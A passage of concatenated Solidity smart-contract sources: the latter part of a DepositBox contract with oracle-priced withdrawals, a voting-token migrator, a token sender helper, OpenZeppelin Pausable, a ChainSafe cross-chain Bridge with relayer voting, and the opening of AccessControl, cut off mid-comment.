using SafeERC20 for IERC20;
// Represents a single caller's deposit box. All collateral is held by this contract.
struct DepositBoxData {
// Requested amount of collateral, denominated in quote asset of the price identifier.
// Example: If the price identifier is wETH-USD, and the `withdrawalRequestAmount = 100`, then
// this represents a withdrawal request for 100 USD worth of wETH.
FixedPoint.Unsigned withdrawalRequestAmount;
// Timestamp of the latest withdrawal request. A withdrawal request is pending if `requestPassTimestamp != 0`.
uint256 requestPassTimestamp;
// Raw collateral value. This value should never be accessed directly -- always use _getFeeAdjustedCollateral().
// To add or remove collateral, use _addCollateral() and _removeCollateral().
FixedPoint.Unsigned rawCollateral;
}
// Maps addresses to their deposit boxes. Each address can have only one position.
mapping(address => DepositBoxData) private depositBoxes;
// Unique identifier for DVM price feed ticker.
bytes32 private priceIdentifier;
// Similar to the rawCollateral in DepositBoxData, this value should not be used directly.
// _getFeeAdjustedCollateral(), _addCollateral() and _removeCollateral() must be used to access and adjust.
FixedPoint.Unsigned private rawTotalDepositBoxCollateral;
// This blocks every public state-modifying method until it flips to true, via the `initialize()` method.
bool private initialized;
/****************************************
* EVENTS *
****************************************/
event NewDepositBox(address indexed user);
event EndedDepositBox(address indexed user);
event Deposit(address indexed user, uint256 indexed collateralAmount);
event RequestWithdrawal(address indexed user, uint256 indexed collateralAmount, uint256 requestPassTimestamp);
event RequestWithdrawalExecuted(
address indexed user,
uint256 indexed collateralAmount,
uint256 exchangeRate,
uint256 requestPassTimestamp
);
event RequestWithdrawalCanceled(
address indexed user,
uint256 indexed collateralAmount,
uint256 requestPassTimestamp
);
/****************************************
* MODIFIERS *
****************************************/
modifier noPendingWithdrawal(address user) {
_depositBoxHasNoPendingWithdrawal(user);
_;
}
modifier isInitialized() {
_isInitialized();
_;
}
/****************************************
* PUBLIC FUNCTIONS *
****************************************/
/**
* @notice Construct the DepositBox.
* @param _collateralAddress ERC20 token to be deposited.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _priceIdentifier registered in the DVM, used to price the ERC20 deposited.
* The price identifier consists of a "base" asset and a "quote" asset. The "base" asset corresponds to the collateral ERC20
* currency deposited into this account, and it is denominated in the "quote" asset on withdrawals.
* An example price identifier would be "ETH-USD" which will resolve and return the USD price of ETH.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(
address _collateralAddress,
address _finderAddress,
bytes32 _priceIdentifier,
address _timerAddress
)
public
ContractCreator(_finderAddress)
FeePayer(_collateralAddress, _finderAddress, _timerAddress)
nonReentrant()
{
require(_getIdentifierWhitelist().isIdentifierSupported(_priceIdentifier), "Unsupported price identifier");
priceIdentifier = _priceIdentifier;
}
/**
* @notice This should be called after construction of the DepositBox and handles registration with the Registry, which is required
* to make price requests in production environments.
* @dev This contract must hold the `ContractCreator` role with the Registry in order to register itself as a financial-template with the DVM.
* Note that `_registerContract` cannot be called from the constructor because this contract first needs to be given the `ContractCreator` role
* in order to register with the `Registry`. But, its address is not known until after deployment.
*/
function initialize() public nonReentrant() {
initialized = true;
_registerContract(new address[](0), address(this));
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` into caller's deposit box.
* @dev This contract must be approved to spend at least `collateralAmount` of `collateralCurrency`.
* @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position.
*/
function deposit(FixedPoint.Unsigned memory collateralAmount) public isInitialized() fees() nonReentrant() {
require(collateralAmount.isGreaterThan(0), "Invalid collateral amount");
DepositBoxData storage depositBoxData = depositBoxes[msg.sender];
if (_getFeeAdjustedCollateral(depositBoxData.rawCollateral).isEqual(0)) {
emit NewDepositBox(msg.sender);
}
// Increase the individual deposit box and global collateral balance by collateral amount.
_incrementCollateralBalances(depositBoxData, collateralAmount);
emit Deposit(msg.sender, collateralAmount.rawValue);
// Move collateral currency from sender to contract.
collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue);
}
/**
* @notice Starts a withdrawal request that allows the sponsor to withdraw `denominatedCollateralAmount`
* from their position denominated in the quote asset of the price identifier, following a DVM price resolution.
* @dev The request will be pending for the duration of the DVM vote and can be cancelled at any time.
* Only one withdrawal request can exist for the user.
* @param denominatedCollateralAmount the quote-asset denominated amount of collateral requested to withdraw.
*/
function requestWithdrawal(FixedPoint.Unsigned memory denominatedCollateralAmount)
public
isInitialized()
noPendingWithdrawal(msg.sender)
nonReentrant()
{
DepositBoxData storage depositBoxData = depositBoxes[msg.sender];
require(denominatedCollateralAmount.isGreaterThan(0), "Invalid collateral amount");
// Update the position object for the user.
depositBoxData.withdrawalRequestAmount = denominatedCollateralAmount;
depositBoxData.requestPassTimestamp = getCurrentTime();
emit RequestWithdrawal(msg.sender, denominatedCollateralAmount.rawValue, depositBoxData.requestPassTimestamp);
// Every price request costs a fixed fee. Check that this user has enough deposited to cover the final fee.
FixedPoint.Unsigned memory finalFee = _computeFinalFees();
require(
_getFeeAdjustedCollateral(depositBoxData.rawCollateral).isGreaterThanOrEqual(finalFee),
"Cannot pay final fee"
);
_payFinalFees(address(this), finalFee);
// A price request is sent for the current timestamp.
_requestOraclePrice(depositBoxData.requestPassTimestamp);
}
/**
* @notice After a passed withdrawal request (i.e., by a call to `requestWithdrawal` and subsequent DVM price resolution),
* withdraws `depositBoxData.withdrawalRequestAmount` of collateral currency denominated in the quote asset.
* @dev Might not withdraw the full requested amount in order to account for precision loss or if the full requested
* amount exceeds the collateral in the position (due to paying fees).
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function executeWithdrawal()
external
isInitialized()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
DepositBoxData storage depositBoxData = depositBoxes[msg.sender];
require(
depositBoxData.requestPassTimestamp != 0 && depositBoxData.requestPassTimestamp <= getCurrentTime(),
"Invalid withdraw request"
);
// Get the resolved price or revert.
FixedPoint.Unsigned memory exchangeRate = _getOraclePrice(depositBoxData.requestPassTimestamp);
// Calculate denomated amount of collateral based on resolved exchange rate.
// Example 1: User wants to withdraw $100 of ETH, exchange rate is $200/ETH, therefore user to receive 0.5 ETH.
// Example 2: User wants to withdraw $250 of ETH, exchange rate is $200/ETH, therefore user to receive 1.25 ETH.
FixedPoint.Unsigned memory denominatedAmountToWithdraw =
depositBoxData.withdrawalRequestAmount.div(exchangeRate);
// If withdrawal request amount is > collateral, then withdraw the full collateral amount and delete the deposit box data.
if (denominatedAmountToWithdraw.isGreaterThan(_getFeeAdjustedCollateral(depositBoxData.rawCollateral))) {
denominatedAmountToWithdraw = _getFeeAdjustedCollateral(depositBoxData.rawCollateral);
// Reset the position state as all the value has been removed after settlement.
emit EndedDepositBox(msg.sender);
}
// Decrease the individual deposit box and global collateral balance.
amountWithdrawn = _decrementCollateralBalances(depositBoxData, denominatedAmountToWithdraw);
emit RequestWithdrawalExecuted(
msg.sender,
amountWithdrawn.rawValue,
exchangeRate.rawValue,
depositBoxData.requestPassTimestamp
);
// Reset withdrawal request by setting withdrawal request timestamp to 0.
_resetWithdrawalRequest(depositBoxData);
// Transfer approved withdrawal amount from the contract to the caller.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
}
/**
* @notice Cancels a pending withdrawal request.
*/
function cancelWithdrawal() external isInitialized() nonReentrant() {
DepositBoxData storage depositBoxData = depositBoxes[msg.sender];
require(depositBoxData.requestPassTimestamp != 0, "No pending withdrawal");
emit RequestWithdrawalCanceled(
msg.sender,
depositBoxData.withdrawalRequestAmount.rawValue,
depositBoxData.requestPassTimestamp
);
// Reset withdrawal request by setting withdrawal request timestamp to 0.
_resetWithdrawalRequest(depositBoxData);
}
/**
* @notice `emergencyShutdown` and `remargin` are required to be implemented by all financial contracts and exposed to the DVM, but
* because this is a minimal demo they will simply exit silently.
*/
function emergencyShutdown() external override isInitialized() nonReentrant() {
return;
}
/**
* @notice Same comment as `emergencyShutdown`. For the sake of simplicity, this will simply exit silently.
*/
function remargin() external override isInitialized() nonReentrant() {
return;
}
/**
* @notice Accessor method for a user's collateral.
* @dev This is necessary because the struct returned by the depositBoxes() method shows
* rawCollateral, which isn't a user-readable value.
* @param user address whose collateral amount is retrieved.
* @return the fee-adjusted collateral amount in the deposit box (i.e. available for withdrawal).
*/
function getCollateral(address user) external view nonReentrantView() returns (FixedPoint.Unsigned memory) {
return _getFeeAdjustedCollateral(depositBoxes[user].rawCollateral);
}
/**
* @notice Accessor method for the total collateral stored within the entire contract.
* @return the total fee-adjusted collateral amount in the contract (i.e. across all users).
*/
function totalDepositBoxCollateral() external view nonReentrantView() returns (FixedPoint.Unsigned memory) {
return _getFeeAdjustedCollateral(rawTotalDepositBoxCollateral);
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// Requests a price for `priceIdentifier` at `requestedTime` from the Oracle.
function _requestOraclePrice(uint256 requestedTime) internal {
OracleInterface oracle = _getOracle();
oracle.requestPrice(priceIdentifier, requestedTime);
}
// Ensure individual and global consistency when increasing collateral balances. Returns the change to the position.
function _incrementCollateralBalances(
DepositBoxData storage depositBoxData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_addCollateral(depositBoxData.rawCollateral, collateralAmount);
return _addCollateral(rawTotalDepositBoxCollateral, collateralAmount);
}
// Ensure individual and global consistency when decrementing collateral balances. Returns the change to the
// position. We elect to return the amount that the global collateral is decreased by, rather than the individual
// position's collateral, because we need to maintain the invariant that the global collateral is always
// <= the collateral owned by the contract to avoid reverts on withdrawals. The amount returned = amount withdrawn.
function _decrementCollateralBalances(
DepositBoxData storage depositBoxData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_removeCollateral(depositBoxData.rawCollateral, collateralAmount);
return _removeCollateral(rawTotalDepositBoxCollateral, collateralAmount);
}
function _resetWithdrawalRequest(DepositBoxData storage depositBoxData) internal {
depositBoxData.withdrawalRequestAmount = FixedPoint.fromUnscaledUint(0);
depositBoxData.requestPassTimestamp = 0;
}
function _depositBoxHasNoPendingWithdrawal(address user) internal view {
require(depositBoxes[user].requestPassTimestamp == 0, "Pending withdrawal");
}
function _isInitialized() internal view {
require(initialized, "Uninitialized contract");
}
function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
function _getOracle() internal view returns (OracleInterface) {
return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
// Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request.
function _getOraclePrice(uint256 requestedTime) internal view returns (FixedPoint.Unsigned memory) {
OracleInterface oracle = _getOracle();
require(oracle.hasPrice(priceIdentifier, requestedTime), "Unresolved oracle price");
int256 oraclePrice = oracle.getPrice(priceIdentifier, requestedTime);
// For simplicity we don't want to deal with negative prices.
if (oraclePrice < 0) {
oraclePrice = 0;
}
return FixedPoint.Unsigned(uint256(oraclePrice));
}
// `_pfc()` is inherited from FeePayer and must be implemented to return the available pool of collateral from
// which fees can be charged. For this contract, the available fee pool is simply all of the collateral locked up in the
// contract.
function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory) {
return _getFeeAdjustedCollateral(rawTotalDepositBoxCollateral);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "../../common/interfaces/ExpandedIERC20.sol";
import "./VotingToken.sol";
/**
* @title Migration contract for VotingTokens.
* @dev Handles migrating token holders from one token to the next.
*/
contract TokenMigrator {
using FixedPoint for FixedPoint.Unsigned;
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
VotingToken public oldToken;
ExpandedIERC20 public newToken;
uint256 public snapshotId;
FixedPoint.Unsigned public rate;
mapping(address => bool) public hasMigrated;
/**
* @notice Construct the TokenMigrator contract.
* @dev This function triggers the snapshot upon which all migrations will be based.
* @param _rate the number of old tokens it takes to generate one new token.
* @param _oldToken address of the token being migrated from.
* @param _newToken address of the token being migrated to.
*/
constructor(
FixedPoint.Unsigned memory _rate,
address _oldToken,
address _newToken
) public {
// Prevents division by 0 in migrateTokens().
// Also it doesn’t make sense to have “0 old tokens equate to 1 new token”.
require(_rate.isGreaterThan(0), "Rate can't be 0");
rate = _rate;
newToken = ExpandedIERC20(_newToken);
oldToken = VotingToken(_oldToken);
snapshotId = oldToken.snapshot();
}
/**
* @notice Migrates the tokenHolder's old tokens to new tokens.
* @dev This function can only be called once per `tokenHolder`. Anyone can call this method
* on behalf of any other token holder since there is no disadvantage to receiving the tokens earlier.
* @param tokenHolder address of the token holder to migrate.
*/
function migrateTokens(address tokenHolder) external {
require(!hasMigrated[tokenHolder], "Already migrated tokens");
hasMigrated[tokenHolder] = true;
FixedPoint.Unsigned memory oldBalance = FixedPoint.Unsigned(oldToken.balanceOfAt(tokenHolder, snapshotId));
if (!oldBalance.isGreaterThan(0)) {
return;
}
FixedPoint.Unsigned memory newBalance = oldBalance.div(rate);
require(newToken.mint(tokenHolder, newBalance.rawValue), "Mint failed");
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/ExpandedERC20.sol";
contract TokenSender {
function transferERC20(
address tokenAddress,
address recipientAddress,
uint256 amount
) public returns (bool) {
IERC20 token = IERC20(tokenAddress);
token.transfer(recipientAddress, amount);
return true;
}
}
pragma solidity ^0.6.0;
import "../GSN/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Pausable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./IDepositExecute.sol";
import "./IBridge.sol";
import "./IERCHandler.sol";
import "./IGenericHandler.sol";
/**
@title Facilitates deposits, creation and votiing of deposit proposals, and deposit executions.
@author ChainSafe Systems.
*/
contract Bridge is Pausable, AccessControl {
using SafeMath for uint256;
uint8 public _chainID;
uint256 public _relayerThreshold;
uint256 public _totalRelayers;
uint256 public _totalProposals;
uint256 public _fee;
uint256 public _expiry;
enum Vote { No, Yes }
enum ProposalStatus { Inactive, Active, Passed, Executed, Cancelled }
struct Proposal {
bytes32 _resourceID;
bytes32 _dataHash;
address[] _yesVotes;
address[] _noVotes;
ProposalStatus _status;
uint256 _proposedBlock;
}
// destinationChainID => number of deposits
mapping(uint8 => uint64) public _depositCounts;
// resourceID => handler address
mapping(bytes32 => address) public _resourceIDToHandlerAddress;
// depositNonce => destinationChainID => bytes
mapping(uint64 => mapping(uint8 => bytes)) public _depositRecords;
// destinationChainID + depositNonce => dataHash => Proposal
mapping(uint72 => mapping(bytes32 => Proposal)) public _proposals;
// destinationChainID + depositNonce => dataHash => relayerAddress => bool
mapping(uint72 => mapping(bytes32 => mapping(address => bool))) public _hasVotedOnProposal;
event RelayerThresholdChanged(uint256 indexed newThreshold);
event RelayerAdded(address indexed relayer);
event RelayerRemoved(address indexed relayer);
event Deposit(uint8 indexed destinationChainID, bytes32 indexed resourceID, uint64 indexed depositNonce);
event ProposalEvent(
uint8 indexed originChainID,
uint64 indexed depositNonce,
ProposalStatus indexed status,
bytes32 resourceID,
bytes32 dataHash
);
event ProposalVote(
uint8 indexed originChainID,
uint64 indexed depositNonce,
ProposalStatus indexed status,
bytes32 resourceID
);
bytes32 public constant RELAYER_ROLE = keccak256("RELAYER_ROLE");
modifier onlyAdmin() {
_onlyAdmin();
_;
}
modifier onlyAdminOrRelayer() {
_onlyAdminOrRelayer();
_;
}
modifier onlyRelayers() {
_onlyRelayers();
_;
}
function _onlyAdminOrRelayer() private {
require(
hasRole(DEFAULT_ADMIN_ROLE, msg.sender) || hasRole(RELAYER_ROLE, msg.sender),
"sender is not relayer or admin"
);
}
function _onlyAdmin() private {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "sender doesn't have admin role");
}
function _onlyRelayers() private {
require(hasRole(RELAYER_ROLE, msg.sender), "sender doesn't have relayer role");
}
/**
@notice Initializes Bridge, creates and grants {msg.sender} the admin role,
creates and grants {initialRelayers} the relayer role.
@param chainID ID of chain the Bridge contract exists on.
@param initialRelayers Addresses that should be initially granted the relayer role.
@param initialRelayerThreshold Number of votes needed for a deposit proposal to be considered passed.
*/
constructor(
uint8 chainID,
address[] memory initialRelayers,
uint256 initialRelayerThreshold,
uint256 fee,
uint256 expiry
) public {
_chainID = chainID;
_relayerThreshold = initialRelayerThreshold;
_fee = fee;
_expiry = expiry;
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setRoleAdmin(RELAYER_ROLE, DEFAULT_ADMIN_ROLE);
for (uint256 i; i < initialRelayers.length; i++) {
grantRole(RELAYER_ROLE, initialRelayers[i]);
_totalRelayers++;
}
}
/**
@notice Returns true if {relayer} has the relayer role.
@param relayer Address to check.
*/
function isRelayer(address relayer) external view returns (bool) {
return hasRole(RELAYER_ROLE, relayer);
}
/**
@notice Removes admin role from {msg.sender} and grants it to {newAdmin}.
@notice Only callable by an address that currently has the admin role.
@param newAdmin Address that admin role will be granted to.
*/
function renounceAdmin(address newAdmin) external onlyAdmin {
grantRole(DEFAULT_ADMIN_ROLE, newAdmin);
renounceRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
/**
@notice Pauses deposits, proposal creation and voting, and deposit executions.
@notice Only callable by an address that currently has the admin role.
*/
function adminPauseTransfers() external onlyAdmin {
_pause();
}
/**
@notice Unpauses deposits, proposal creation and voting, and deposit executions.
@notice Only callable by an address that currently has the admin role.
*/
function adminUnpauseTransfers() external onlyAdmin {
_unpause();
}
/**
@notice Modifies the number of votes required for a proposal to be considered passed.
@notice Only callable by an address that currently has the admin role.
@param newThreshold Value {_relayerThreshold} will be changed to.
@notice Emits {RelayerThresholdChanged} event.
*/
function adminChangeRelayerThreshold(uint256 newThreshold) external onlyAdmin {
_relayerThreshold = newThreshold;
emit RelayerThresholdChanged(newThreshold);
}
/**
@notice Grants {relayerAddress} the relayer role and increases {_totalRelayer} count.
@notice Only callable by an address that currently has the admin role.
@param relayerAddress Address of relayer to be added.
@notice Emits {RelayerAdded} event.
*/
function adminAddRelayer(address relayerAddress) external onlyAdmin {
require(!hasRole(RELAYER_ROLE, relayerAddress), "addr already has relayer role!");
grantRole(RELAYER_ROLE, relayerAddress);
emit RelayerAdded(relayerAddress);
_totalRelayers++;
}
/**
@notice Removes relayer role for {relayerAddress} and decreases {_totalRelayer} count.
@notice Only callable by an address that currently has the admin role.
@param relayerAddress Address of relayer to be removed.
@notice Emits {RelayerRemoved} event.
*/
function adminRemoveRelayer(address relayerAddress) external onlyAdmin {
require(hasRole(RELAYER_ROLE, relayerAddress), "addr doesn't have relayer role!");
revokeRole(RELAYER_ROLE, relayerAddress);
emit RelayerRemoved(relayerAddress);
_totalRelayers--;
}
/**
@notice Sets a new resource for handler contracts that use the IERCHandler interface,
and maps the {handlerAddress} to {resourceID} in {_resourceIDToHandlerAddress}.
@notice Only callable by an address that currently has the admin role.
@param handlerAddress Address of handler resource will be set for.
@param resourceID ResourceID to be used when making deposits.
@param tokenAddress Address of contract to be called when a deposit is made and a deposited is executed.
*/
function adminSetResource(
address handlerAddress,
bytes32 resourceID,
address tokenAddress
) external onlyAdmin {
_resourceIDToHandlerAddress[resourceID] = handlerAddress;
IERCHandler handler = IERCHandler(handlerAddress);
handler.setResource(resourceID, tokenAddress);
}
/**
@notice Sets a new resource for handler contracts that use the IGenericHandler interface,
and maps the {handlerAddress} to {resourceID} in {_resourceIDToHandlerAddress}.
@notice Only callable by an address that currently has the admin role.
@param handlerAddress Address of handler resource will be set for.
@param resourceID ResourceID to be used when making deposits.
@param contractAddress Address of contract to be called when a deposit is made and a deposited is executed.
*/
function adminSetGenericResource(
address handlerAddress,
bytes32 resourceID,
address contractAddress,
bytes4 depositFunctionSig,
bytes4 executeFunctionSig
) external onlyAdmin {
_resourceIDToHandlerAddress[resourceID] = handlerAddress;
IGenericHandler handler = IGenericHandler(handlerAddress);
handler.setResource(resourceID, contractAddress, depositFunctionSig, executeFunctionSig);
}
/**
@notice Sets a resource as burnable for handler contracts that use the IERCHandler interface.
@notice Only callable by an address that currently has the admin role.
@param handlerAddress Address of handler resource will be set for.
@param tokenAddress Address of contract to be called when a deposit is made and a deposited is executed.
*/
function adminSetBurnable(address handlerAddress, address tokenAddress) external onlyAdmin {
IERCHandler handler = IERCHandler(handlerAddress);
handler.setBurnable(tokenAddress);
}
/**
@notice Returns a proposal.
@param originChainID Chain ID deposit originated from.
@param depositNonce ID of proposal generated by proposal's origin Bridge contract.
@param dataHash Hash of data to be provided when deposit proposal is executed.
@return Proposal which consists of:
- _dataHash Hash of data to be provided when deposit proposal is executed.
- _yesVotes Number of votes in favor of proposal.
- _noVotes Number of votes against proposal.
- _status Current status of proposal.
*/
function getProposal(
uint8 originChainID,
uint64 depositNonce,
bytes32 dataHash
) external view returns (Proposal memory) {
uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(originChainID);
return _proposals[nonceAndID][dataHash];
}
/**
@notice Changes deposit fee.
@notice Only callable by admin.
@param newFee Value {_fee} will be updated to.
*/
function adminChangeFee(uint256 newFee) external onlyAdmin {
require(_fee != newFee, "Current fee is equal to new fee");
_fee = newFee;
}
/**
@notice Used to manually withdraw funds from ERC safes.
@param handlerAddress Address of handler to withdraw from.
@param tokenAddress Address of token to withdraw.
@param recipient Address to withdraw tokens to.
@param amountOrTokenID Either the amount of ERC20 tokens or the ERC721 token ID to withdraw.
*/
function adminWithdraw(
address handlerAddress,
address tokenAddress,
address recipient,
uint256 amountOrTokenID
) external onlyAdmin {
IERCHandler handler = IERCHandler(handlerAddress);
handler.withdraw(tokenAddress, recipient, amountOrTokenID);
}
/**
@notice Initiates a transfer using a specified handler contract.
@notice Only callable when Bridge is not paused.
@param destinationChainID ID of chain deposit will be bridged to.
@param resourceID ResourceID used to find address of handler to be used for deposit.
@param data Additional data to be passed to specified handler.
@notice Emits {Deposit} event.
*/
function deposit(
uint8 destinationChainID,
bytes32 resourceID,
bytes calldata data
) external payable whenNotPaused {
require(msg.value == _fee, "Incorrect fee supplied");
address handler = _resourceIDToHandlerAddress[resourceID];
require(handler != address(0), "resourceID not mapped to handler");
uint64 depositNonce = ++_depositCounts[destinationChainID];
_depositRecords[depositNonce][destinationChainID] = data;
IDepositExecute depositHandler = IDepositExecute(handler);
depositHandler.deposit(resourceID, destinationChainID, depositNonce, msg.sender, data);
emit Deposit(destinationChainID, resourceID, depositNonce);
}
/**
@notice When called, {msg.sender} will be marked as voting in favor of proposal.
@notice Only callable by relayers when Bridge is not paused.
@param chainID ID of chain deposit originated from.
@param depositNonce ID of deposited generated by origin Bridge contract.
@param dataHash Hash of data provided when deposit was made.
@notice Proposal must not have already been passed or executed.
@notice {msg.sender} must not have already voted on proposal.
@notice Emits {ProposalEvent} event with status indicating the proposal status.
@notice Emits {ProposalVote} event.
*/
function voteProposal(
uint8 chainID,
uint64 depositNonce,
bytes32 resourceID,
bytes32 dataHash
) external onlyRelayers whenNotPaused {
uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(chainID);
Proposal storage proposal = _proposals[nonceAndID][dataHash];
require(_resourceIDToHandlerAddress[resourceID] != address(0), "no handler for resourceID");
require(uint256(proposal._status) <= 1, "proposal already passed/executed/cancelled");
require(!_hasVotedOnProposal[nonceAndID][dataHash][msg.sender], "relayer already voted");
if (uint256(proposal._status) == 0) {
++_totalProposals;
_proposals[nonceAndID][dataHash] = Proposal({
_resourceID: resourceID,
_dataHash: dataHash,
_yesVotes: new address[](1),
_noVotes: new address[](0),
_status: ProposalStatus.Active,
_proposedBlock: block.number
});
proposal._yesVotes[0] = msg.sender;
emit ProposalEvent(chainID, depositNonce, ProposalStatus.Active, resourceID, dataHash);
} else {
if (block.number.sub(proposal._proposedBlock) > _expiry) {
// if the number of blocks that has passed since this proposal was
// submitted exceeds the expiry threshold set, cancel the proposal
proposal._status = ProposalStatus.Cancelled;
emit ProposalEvent(chainID, depositNonce, ProposalStatus.Cancelled, resourceID, dataHash);
} else {
require(dataHash == proposal._dataHash, "datahash mismatch");
proposal._yesVotes.push(msg.sender);
}
}
if (proposal._status != ProposalStatus.Cancelled) {
_hasVotedOnProposal[nonceAndID][dataHash][msg.sender] = true;
emit ProposalVote(chainID, depositNonce, proposal._status, resourceID);
// If _depositThreshold is set to 1, then auto finalize
// or if _relayerThreshold has been exceeded
if (_relayerThreshold <= 1 || proposal._yesVotes.length >= _relayerThreshold) {
proposal._status = ProposalStatus.Passed;
emit ProposalEvent(chainID, depositNonce, ProposalStatus.Passed, resourceID, dataHash);
}
}
}
/**
@notice Executes a deposit proposal that is considered passed using a specified handler contract.
@notice Only callable by relayers when Bridge is not paused.
@param chainID ID of chain deposit originated from.
@param depositNonce ID of deposited generated by origin Bridge contract.
@param dataHash Hash of data originally provided when deposit was made.
@notice Proposal must be past expiry threshold.
@notice Emits {ProposalEvent} event with status {Cancelled}.
*/
function cancelProposal(
uint8 chainID,
uint64 depositNonce,
bytes32 dataHash
) public onlyAdminOrRelayer {
uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(chainID);
Proposal storage proposal = _proposals[nonceAndID][dataHash];
require(proposal._status != ProposalStatus.Cancelled, "Proposal already cancelled");
require(block.number.sub(proposal._proposedBlock) > _expiry, "Proposal not at expiry threshold");
proposal._status = ProposalStatus.Cancelled;
emit ProposalEvent(chainID, depositNonce, ProposalStatus.Cancelled, proposal._resourceID, proposal._dataHash);
}
/**
@notice Executes a deposit proposal that is considered passed using a specified handler contract.
@notice Only callable by relayers when Bridge is not paused.
@param chainID ID of chain deposit originated from.
@param resourceID ResourceID to be used when making deposits.
@param depositNonce ID of deposited generated by origin Bridge contract.
@param data Data originally provided when deposit was made.
@notice Proposal must have Passed status.
@notice Hash of {data} must equal proposal's {dataHash}.
@notice Emits {ProposalEvent} event with status {Executed}.
*/
function executeProposal(
uint8 chainID,
uint64 depositNonce,
bytes calldata data,
bytes32 resourceID
) external onlyRelayers whenNotPaused {
address handler = _resourceIDToHandlerAddress[resourceID];
uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(chainID);
bytes32 dataHash = keccak256(abi.encodePacked(handler, data));
Proposal storage proposal = _proposals[nonceAndID][dataHash];
require(proposal._status != ProposalStatus.Inactive, "proposal is not active");
require(proposal._status == ProposalStatus.Passed, "proposal already transferred");
require(dataHash == proposal._dataHash, "data doesn't match datahash");
proposal._status = ProposalStatus.Executed;
IDepositExecute depositHandler = IDepositExecute(_resourceIDToHandlerAddress[proposal._resourceID]);
depositHandler.executeProposal(proposal._resourceID, data);
emit ProposalEvent(chainID, depositNonce, proposal._status, proposal._resourceID, proposal._dataHash);
}
/**
@notice Transfers eth in the contract to the specified addresses. The parameters addrs and amounts are mapped 1-1.
This means that the address at index 0 for addrs will receive the amount (in WEI) from amounts at index 0.
@param addrs Array of addresses to transfer {amounts} to.
@param amounts Array of amonuts to transfer to {addrs}.
*/
function transferFunds(address payable[] calldata addrs, uint256[] calldata amounts) external onlyAdmin {
for (uint256 i = 0; i < addrs.length; i++) {
addrs[i].transfer(amounts[i]);
}
}
}
pragma solidity ^0.6.0;
import "../utils/EnumerableSet.sol";
import "../utils/Address.sol";
import "../GSN/Context.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, _msgSender()));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
